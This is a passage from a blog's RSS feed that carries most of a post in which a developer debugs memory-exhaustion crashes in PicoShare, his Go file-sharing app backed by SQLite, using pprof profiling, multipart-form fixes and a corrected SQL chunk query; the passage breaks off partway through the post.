&lt;p>They don&amp;rsquo;t allow self-service signups, so I didn&amp;rsquo;t try it.&lt;/p></content:encoded></item><item><title>Fixing Memory Exhaustion Bugs in My Golang Web App</title><link>https://mtlynch.io/notes/picoshare-perf/</link><pubDate>Tue, 09 Aug 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/picoshare-perf/</guid><description>&lt;p>Earlier this year, I created an open-source app called &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>. It&amp;rsquo;s a simple Golang web app for sharing files. I use it to send files that are too large to be email attachments, but I don&amp;rsquo;t want the recipient to deal with Dropbox or Google Drive.&lt;/p>
&lt;img src="https://raw.githubusercontent.com/mtlynch/picoshare/master/docs/readme-assets/demo-full.gif" style="max-width: 100%; @media only screen and (max-width : 768px) { max-width: 550px; } border: 1px solid gray; margin: auto; display: block;" alt="Animated demo of uploading a video file to PicoShare and streaming it in another browser window">
&lt;p>A few months ago, I started seeing my PicoShare server die every few days. When I checked the logs, I saw an out of memory error:&lt;/p></description><content:encoded>&lt;p>Earlier this year, I created an open-source app called &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>. It&amp;rsquo;s a simple Golang web app for sharing files. I use it to send files that are too large to be email attachments, but I don&amp;rsquo;t want the recipient to deal with Dropbox or Google Drive.&lt;/p>
&lt;img src="https://raw.githubusercontent.com/mtlynch/picoshare/master/docs/readme-assets/demo-full.gif" style="max-width: 100%; @media only screen and (max-width : 768px) { max-width: 550px; } border: 1px solid gray; margin: auto; display: block;" alt="Animated demo of uploading a video file to PicoShare and streaming it in another browser window">
&lt;p>A few months ago, I started seeing my PicoShare server die every few days. When I checked the logs, I saw an out of memory error:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1078px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/oom-crash.png">
 &lt;img
 
 sizes="(min-width: 768px) 1078px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/oom-crash_hu_fc01912e1d067e2.png 300w, https://mtlynch.io/notes/picoshare-perf/oom-crash_hu_3200c9d1b763256d.png 600w, https://mtlynch.io/notes/picoshare-perf/oom-crash_hu_c5e842fd6c0a198.png 800w, https://mtlynch.io/notes/picoshare-perf/oom-crash.png 1078w'
 src="https://mtlynch.io/notes/picoshare-perf/oom-crash.png" alt="Out of memory: Killed process 515 (picoshare)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I didn&amp;rsquo;t have time to debug the crash, so I just increased the server&amp;rsquo;s memory from 512 MB to 1 GB. And then I kept seeing crashes, so I increased it again to 2 GB.&lt;/p>
&lt;p>It&amp;rsquo;s unsatisfying to fix a crash by just throwing more RAM at the problems, so for the past two weeks, I&amp;rsquo;ve been debugging the crashes and sharing my progress on Twitter.&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">I&amp;#39;ve been trying to debug a crash I&amp;#39;m seeing with PicoShare, my minimalist web app. Follow me on the journey, and perhaps you&amp;#39;ll have some ideas!&lt;br>&lt;br>PicoShare randomly exhausts memory and dies, even when nobody&amp;#39;s accessing it. &lt;a href="https://t.co/fGvYiX4zGK">pic.twitter.com/fGvYiX4zGK&lt;/a>&lt;/p>&amp;mdash; Michael Lynch (@deliberatecoder) &lt;a href="https://x.com/deliberatecoder/status/1552438652537835521?ref_src=twsrc%5Etfw">July 27, 2022&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;p>At this point, I&amp;rsquo;ve fixed all the issues that were causing crashes and learned some useful lessons along the way about Go, SQLite, and debugging.&lt;/p>
&lt;p>If you want to see the story as it unfolded, check out the Twitter thread. If you&amp;rsquo;d like a cleaned up, condensed version of what I learned, read on.&lt;/p>
&lt;h2 id="contents">Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#preface-i-use-sqlite-strangely">Background&lt;/a>&lt;/li>
&lt;li>&lt;a href="#the-debugging-process">The debugging process&lt;/a>&lt;/li>
&lt;li>&lt;a href="#other-lessons-learned">Other lessons learned&lt;/a>&lt;/li>
&lt;li>&lt;a href="#dead-ends">Dead ends&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="preface-i-use-sqlite-strangely">Preface: I use SQLite strangely&lt;/h2>
&lt;p>One of the strange architecture decisions I made with PicoShare was to store all file data in SQLite. This is an unusual choice, as web applications typically store file uploads directly on the filesystem, not in a database. This especially true when the uploads can be arbitrarily large.&lt;/p>
&lt;p>The advantage of writing file data to SQLite is that all of PicoShare&amp;rsquo;s application state is in a single database. That&amp;rsquo;s not so special itself, but I designed PicoShare to integrate with &lt;a href="https://litestream.io">Litestream&lt;/a>, a tool for replicating SQLite databases to cloud storage. Litestream essentially gives PicoShare backup and restore &amp;ldquo;for free.&amp;rdquo; I can completely blow away a server and then &lt;a href="https://mtlynch.io/litestream/">redeploy it anywhere&lt;/a> (even another cloud hosting provider), and PicoShare will wake up with the exact same state, serving all the same files.&lt;/p>
&lt;h2 id="the-debugging-process">The debugging process&lt;/h2>
&lt;h3 id="reproducing-the-error">Reproducing the error&lt;/h3>
&lt;p>I only saw PicoShare crash every few days, so my first step was to find a way to force the crash more quickly.&lt;/p>
&lt;p>I managed to reproduce the error by deploying PicoShare on a &lt;a href="https://fly.io">Fly&lt;/a> instance with only 256 MB of RAM and then uploading large files. I used &lt;a href="https://mirror.clarkson.edu/blender/demo/movies/BBB/">high-resolution versions&lt;/a> of the short film &lt;a href="https://peach.blender.org/">&lt;em>Big Buck Bunny&lt;/em>&lt;/a> with sizes ranging from 269 MB to 618 MB.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/bbb.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/bbb_hu_1163603e2c7281e9.jpg 300w, https://mtlynch.io/notes/picoshare-perf/bbb_hu_5b962de8a13745ff.jpg 600w, https://mtlynch.io/notes/picoshare-perf/bbb_hu_cb9f1f2358b3ee11.jpg 800w, https://mtlynch.io/notes/picoshare-perf/bbb_hu_ce03e416c1aa5f2e.jpg 1200w, https://mtlynch.io/notes/picoshare-perf/bbb.jpg 1920w'
 src="https://mtlynch.io/notes/picoshare-perf/bbb.jpg" alt="Still from Big Buck Bunny short film" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I used the short film &lt;a href="https://peach.blender.org/">&lt;em>Big Buck Bunny&lt;/em>&lt;/a> as my test file as it was large enough to test big uploads.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Uploading two copies of the 618 MB version in parallel consistently caused PicoShare to die with an out of memory error within a minute or so.&lt;/p>
&lt;h3 id="using-profiling-tools-to-identify-ram-bloat">Using profiling tools to identify RAM bloat&lt;/h3>
&lt;p>The first break in the investigation came from &lt;a href="https://twitter.com/benbjohnson">Ben Johnson&lt;/a>, the author of Litestream and a recent addition to the Fly team. Ben created &lt;a href="https://github.com/mtlynch/picoshare/pull/283">a detailed pull request&lt;/a> explaining how a single line of code was causing PicoShare to consume large amounts of RAM.&lt;/p>
&lt;p>Ben has extensive experience with profiling, so he was able to reproduce the issue by creating a new unit test and profiling memory after the test. Ben later showed me an easier way to get the same information, so I&amp;rsquo;m going to show that, but you can find Ben&amp;rsquo;s original technique in his pull request.&lt;/p>
&lt;p>It turns out the Go standard library comes with a magical tool for debugging issues in web applications. All you have to do is add this line to your imports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>_ &lt;span style="color:#ed9d13">&amp;#34;net/http/pprof&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, when you run your app, there will be a &lt;code>/debug/pprof/&lt;/code> route with lots of useful debugging information.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/debug-pprof.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/debug-pprof_hu_87f323fac308b771.png 300w, https://mtlynch.io/notes/picoshare-perf/debug-pprof_hu_da5cb0f1fbc89fde.png 600w, https://mtlynch.io/notes/picoshare-perf/debug-pprof_hu_59565f0fe145c3c2.png 800w, https://mtlynch.io/notes/picoshare-perf/debug-pprof.png 890w'
 src="https://mtlynch.io/notes/picoshare-perf/debug-pprof.png" alt="Debug interface at http://ps:4001/debug/pprof" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I was surprised at how easy this was to add. There&amp;rsquo;s a lot of interesting data in this web interface, but the one that I used was &lt;code>heap&lt;/code>. To use it, I uploaded a large file to PicoShare and then ran this the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>go tool pprof &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -http=:8081 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -alloc_space &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> call_tree &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> http://localhost:4001/debug/pprof/heap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That popped up a web interface and rendered this graph:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/pprof1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/pprof1_hu_863f7cd5c4643f8e.png 300w, https://mtlynch.io/notes/picoshare-perf/pprof1_hu_47158089ba04e488.png 600w, https://mtlynch.io/notes/picoshare-perf/pprof1_hu_dd3fba21db9177b8.png 800w, https://mtlynch.io/notes/picoshare-perf/pprof1.png 883w'
 src="https://mtlynch.io/notes/picoshare-perf/pprof1.png" alt="Graph showing all memory allocations" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>At the bottom, you can see a large red block labeled &lt;code>bytes makeSlice 63.99 MB&lt;/code>, meaning that 64 MB of PicoShare&amp;rsquo;s allocated RAM came from Go&amp;rsquo;s &lt;code>makeSlice&lt;/code> function.&lt;/p>
&lt;p>&lt;code>makeSlice&lt;/code> is in the Go standard library, not my code. To find what code in PicoShare caused this memory allocation, I traced up the graph until I found a PicoShare function:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/pprof2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/pprof2_hu_351b337aead3c73b.png 300w, https://mtlynch.io/notes/picoshare-perf/pprof2.png 407w'
 src="https://mtlynch.io/notes/picoshare-perf/pprof2.png" alt="Zoom in on graph showing call from fileFromRequest to ParseMultipartForm" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The last PicoShare function in this chain is &lt;a href="https://github.com/mtlynch/picoshare/blob/1.1.7/handlers/upload.go#L242">&lt;code>handlers.fileFromRequest&lt;/code>&lt;/a>, which calls the Go standard library function &lt;a href="https://pkg.go.dev/net/http@go1.18.4#Request.ParseMultipartForm">&lt;code>*Request.ParseMultipartForm&lt;/code>&lt;/a>. That function is responsible for parsing multipart HTTP data, which is how PicoShare accepts file uploads.&lt;/p>
&lt;p>&lt;code>ParseMultipartForm&lt;/code> accepts a &lt;code>maxMemory&lt;/code> parameter, documented as follows:&lt;/p>
&lt;blockquote>
&lt;p>The whole request body is parsed and up to a total of maxMemory bytes of its file parts are stored in memory, with the remainder stored on disk in temporary files.&lt;/p>&lt;/blockquote>
&lt;p>PicoShare&amp;rsquo;s call looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>r.&lt;span style="color:#447fcf">ParseMultipartForm&lt;/span>(&lt;span style="color:#3677a9">32&lt;/span> &amp;lt;&amp;lt; &lt;span style="color:#3677a9">20&lt;/span>) &lt;span style="color:#999;font-style:italic">// 32 MB&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Even though we were specifying a limit of 32 MB, Go was allocating 64 MB of RAM.&lt;/p>
&lt;p>Ben tried reducing the &lt;code>maxMemory&lt;/code> parameter to &lt;code>1 &amp;lt;&amp;lt; 20&lt;/code> (1 MB), and the RAM usage from &lt;code>ParseMultipartForm&lt;/code> dropped to only 2.5 MB:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/pprof3.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/pprof3_hu_586201a78c30d7d0.png 300w, https://mtlynch.io/notes/picoshare-perf/pprof3.png 478w'
 src="https://mtlynch.io/notes/picoshare-perf/pprof3.png" alt="Graph showing 2572.91kB in makeSlice after the fix" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This was a huge reduction in memory, so I thought for sure Ben had solved it.&lt;/p>
&lt;p>Unfortunately, I deployed a test version with Ben&amp;rsquo;s fix, and it still crashed.&lt;/p>
&lt;p>After Ben&amp;rsquo;s fix, PicoShare could withstand more load before crashing, so it did seem to make a difference. Still, when I uploaded three large files in parallel, the server died with the same out of memory error.&lt;/p>
&lt;h3 id="freeing-resources-after-calling-parsemultipartform">Freeing resources after calling &lt;code>ParseMultipartForm&lt;/code>&lt;/h3>
&lt;p>From Googling, I discovered another gotcha with &lt;code>ParseMultipartForm&lt;/code>.&lt;/p>
&lt;p>The documentation doesn&amp;rsquo;t warn the reader, but the caller is responsible for calling &lt;code>r.MultipartForm.RemoveAll()&lt;/code> to free the resources Go allocated during &lt;code>ParseMultipartForm&lt;/code>. So, I was leaking memory every time I called &lt;code>ParseMultipartForm&lt;/code>.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Update (2022-08-11)&lt;/strong>: Damien Neil points out in the comments that Go should clean up these resources automatically. On Go&amp;rsquo;s HTTP/1 implementation, it automatically cleans up resources, and Damien has &lt;a href="https://go.dev/cl/423055">submitted a bugfix&lt;/a> to make Go&amp;rsquo;s HTTP/2 implementation behave consistently.
&lt;/div>

&lt;p>To fix the leak, I rewrote my code to clean up the multipart resources:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>multipartMaxMemory := &lt;span style="color:#3677a9">1&lt;/span> &amp;lt;&amp;lt; &lt;span style="color:#3677a9">20&lt;/span> &lt;span style="color:#999;font-style:italic">// 1 MiB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := r.&lt;span style="color:#447fcf">ParseMultipartForm&lt;/span>(multipartMaxMemory); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Free form resources before returning from function.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := r.MultipartForm.&lt;span style="color:#447fcf">RemoveAll&lt;/span>(); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;failed to free multipart form resources: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This fix looked promising, as I saw huge reductions in RAM usage on Fly after freeing resources explicitly:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 482px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/free-ram.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 482px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/free-ram_hu_19873f340b52946.png 300w, https://mtlynch.io/notes/picoshare-perf/free-ram.png 480w'
 src="https://mtlynch.io/notes/picoshare-perf/free-ram.png" alt="Fly graph showing memory increase when I call ParseMultipartForm and decrease when I call r.MultipartForm.RemoveAll" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Sadly, even with this fix, the crashes continued.&lt;/p>
&lt;h3 id="optimizing-downloads">Optimizing downloads&lt;/h3>
&lt;p>At this point, &lt;a href="https://danwilhelm.com/">Dan Wilhelm&lt;/a> started following the Twitter thread. Even though he&amp;rsquo;s never used Go a day in his life, he rolled up his sleeves and started experimenting with the code on his development machine.&lt;/p>
&lt;p>Dan noticed that &lt;a href="https://github.com/mtlynch/picoshare/issues/284">RAM usage shot up when he downloaded files&lt;/a>. That was strange, as downloads shouldn&amp;rsquo;t consume much RAM. Parsing a multipart form is complex, so there are many factors that could be bloating RAM, but serving a file is pretty straightforward.&lt;/p>
&lt;p>PicoShare stores all of its file data in SQLite in &lt;a href="https://github.com/mtlynch/picoshare/blob/1.1.7/store/sqlite/sqlite.go#L22">328 KB chunks&lt;/a>. That shouldn&amp;rsquo;t be RAM intensive because we should be able to just read some chunks into RAM, send them to the client, then free the memory.&lt;/p>
&lt;p>Dan found a bug in the code responsible for reading PicoShare&amp;rsquo;s file data from the database. See if you can spot it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (fr *fileReader) &lt;span style="color:#447fcf">populateBuffer&lt;/span>() &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> fr.offset == &lt;span style="color:#24909d">int64&lt;/span>(fr.fileLength) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> io.EOF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> startChunk := fr.offset / &lt;span style="color:#24909d">int64&lt;/span>(fr.chunkSize)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> stmt, err := fr.db.&lt;span style="color:#447fcf">Prepare&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> SELECT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> chunk
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> FROM
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entries_data
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> WHERE
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> id=? AND
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> chunk_index&amp;gt;=?
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> ORDER BY
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> chunk_index ASC
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> `&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;reading chunk failed: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span> stmt.&lt;span style="color:#447fcf">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> chunk []&lt;span style="color:#6ab825;font-weight:bold">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err = stmt.&lt;span style="color:#447fcf">QueryRow&lt;/span>(fr.entryID, startChunk).&lt;span style="color:#447fcf">Scan&lt;/span>(&amp;amp;chunk)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Move the start index to the position in the chunk we want to read.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> readStart := fr.offset % &lt;span style="color:#24909d">int64&lt;/span>(fr.chunkSize)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fr.buf = bytes.&lt;span style="color:#447fcf">NewBuffer&lt;/span>(chunk[readStart:])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fr.offset += &lt;span style="color:#24909d">int64&lt;/span>(&lt;span style="color:#24909d">len&lt;/span>(chunk)) - readStart
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The bug is in the &lt;code>WHERE&lt;/code> clause of the SQL query:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">WHERE&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>id=?&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">AND&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>chunk_index&amp;gt;=?&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The query is only supposed to retrieve a single chunk of file data. Instead, it reads the target chunk and everything after.&lt;/p>
&lt;p>The fix was simply to change the &lt;code>&amp;gt;=&lt;/code> to &lt;code>=&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">WHERE&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>id=?&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">AND&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>chunk_index=?&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Sidenote&lt;/strong>: Reading this code, I also realized I was using prepared statements &lt;a href="https://github.com/mtlynch/picoshare/pull/286">when I didn&amp;rsquo;t need to&lt;/a>, though I don&amp;rsquo;t think this affected RAM.
&lt;/div>

&lt;p>Dan&amp;rsquo;s change was on the download side, so I didn&amp;rsquo;t expect it to fix crashes I saw during upload. And indeed it didn&amp;rsquo;t, but there was a drastic performance improvement in serving downloads. Especially with streaming content like videos or audio, PicoShare was much more responsive when I jumped to different positions in the file.&lt;/p>
&lt;h3 id="removing-sqlite-transactions">Removing SQLite transactions&lt;/h3>
&lt;p>Within the Twitter thread, several people suggested that PicoShare&amp;rsquo;s SQLite transactions were likely bloating RAM.&lt;/p>
&lt;p>When PicoShare wrote file data into SQLite, I did it within a &lt;a href="https://www.sqlite.org/lang_transaction.html">transaction&lt;/a>. The purpose was to ensure the database was always in a consistent state.&lt;/p>
&lt;p>By using transactions, SQLite guaranteed that I would never reach a state where only part of the file was in the database if some writes failed. It also ensured that I couldn&amp;rsquo;t accidentally write the file metadata without writing the file contents and vice-versa.&lt;/p>
&lt;p>Some Googling indicated that &lt;a href="https://stackoverflow.com/a/15305650/90388">large SQLite transactions can be a source of memory bloat&lt;/a>, so I figured it was worth trying. I tried committing changes to SQLite immediately instead of using transactions, but it still bloated RAM. It didn&amp;rsquo;t seem like transactions were making any difference.&lt;/p>
&lt;h3 id="ram-bloat-is-fine-but-crashes-are-not">RAM bloat is fine, but crashes are not&lt;/h3>
&lt;p>At this point, I was measuring RAM usage from three different angles that all disagreed with each other:&lt;/p>
&lt;ul>
&lt;li>Go&amp;rsquo;s debug metrics for how much memory it had allocated&lt;/li>
&lt;li>&lt;code>htop&lt;/code> within in the VM&lt;/li>
&lt;li>Fly&amp;rsquo;s RAM metrics from the VM host&lt;/li>
&lt;/ul>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/htop-ram.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/htop-ram_hu_afbfe731e824185c.png 300w, https://mtlynch.io/notes/picoshare-perf/htop-ram_hu_fd0f30aab72750e7.png 600w, https://mtlynch.io/notes/picoshare-perf/htop-ram_hu_7d3b129a6826f0be.png 800w, https://mtlynch.io/notes/picoshare-perf/htop-ram.png 1124w'
 src="https://mtlynch.io/notes/picoshare-perf/htop-ram.png" alt="Screenshot showing htop reporting 154 MB of RAM usage and Go reporting 148.62 MB of RAM" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 







&lt;div class="img" style="max-width: 370px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/fly-ram-count.png">
 &lt;img
 
 sizes="(min-width: 768px) 370px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/fly-ram-count_hu_22876541658f73ab.png 300w, https://mtlynch.io/notes/picoshare-perf/fly-ram-count.png 370w'
 src="https://mtlynch.io/notes/picoshare-perf/fly-ram-count.png" alt="Screenshot of Fly reporting 217.4 of RAM usage" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
